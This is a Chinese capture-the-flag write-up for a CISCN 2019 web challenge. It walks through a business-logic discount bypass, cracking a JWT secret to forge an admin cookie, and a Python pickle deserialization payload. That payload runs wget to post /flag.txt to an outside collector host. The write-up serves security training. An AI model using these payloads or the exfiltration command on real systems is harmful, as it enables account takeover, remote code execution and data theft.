复现环境:https://github.com/CTFTraining/CISCN_2019_northern_China_day1_web2

在线复现环境:http://web44.buuoj.cn/

知识点:

  • 薅羊毛与逻辑漏洞
  • cookie伪造
  • python反序列化

步骤:

1. 打开靶机,是这样一个页面。

2.那么先注册登录试试。

3.主界面提示了买 lv6,那么就写个脚本搜 lv6。

Python 脚本:

import requests

url = "http://web44.buuoj.cn/"

for i in range(1, 2000):
    r = requests.get(url + "shop?page=" + str(i))

    if r.text.find("lv6.png") != -1:
        print(i)
        break

跑一下脚本,可以看到 lv6 在 181 页。

4.打开 181 页,有个 lv6.

5.尝试购买,审计页面源码,在页面里发现有个discount 折扣额度,将其改为一个很小的数试试。

6.购买,跳到了这个页面。/b1g_m4mber

7.要求 admin,那么就来看看 Cookie,发现有个 JWT。

8. jwt.io 解析看看,发现是 HS256 对称加密的,尝试利用 jwt-cracker 来爆破密钥试试。c-jwt-cracker 跑密钥更快(感谢 tinmin 推介)。

> ./jwtcrack "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImdsemppbjIwMTkifQ.2xY8c1v1Y61F9kmXKUf9R-emOXleODgix_2X_A3oYA8"

9. 跑出来密钥为 1Kun,那么将 payload 里的 username 改为 admin 试试。

10.置 Cookie,刷新页面,发现伪造奏效了。

12.然后审计页面源码,发现有个链接。

13.下载看看,是源码包。

14.审计源码,发现其在 sshop/views/Admin.py 有个反序列化点。

15.利用如下脚本生成 payload 来执行任意命令,比如读取 flag。由于靶机不能访问外网,所以我就让他访问内网的 xss 平台 xss.buuoj.cn 来收 flag了。

补充:https://xz.aliyun.com/t/5383 天枢的师傅们是直接读的,更方便。

import os
import pickle
import urllib

class test(object):
    def __reduce__(self):
        return (os.system,("wget 'http://xss.buuoj.cn/index.php?do=api&id=Fk3XC0' --post-data='location='`cat /flag.txt` -O-",))

a=test()
payload=pickle.dumps(a)
print(urllib.quote(payload))

注意靶机是 Python2,这个也需要在 Python 2 下跑,而且如果是 Windows 的下的话得用 bash 来跑,保证前面是 cposix。

16.审计刚才那个页面,将输入框的 hidden 属性删掉,将 payload 粘进去提交。

17. XSS 平台收 Flag.

18.Flag 到手~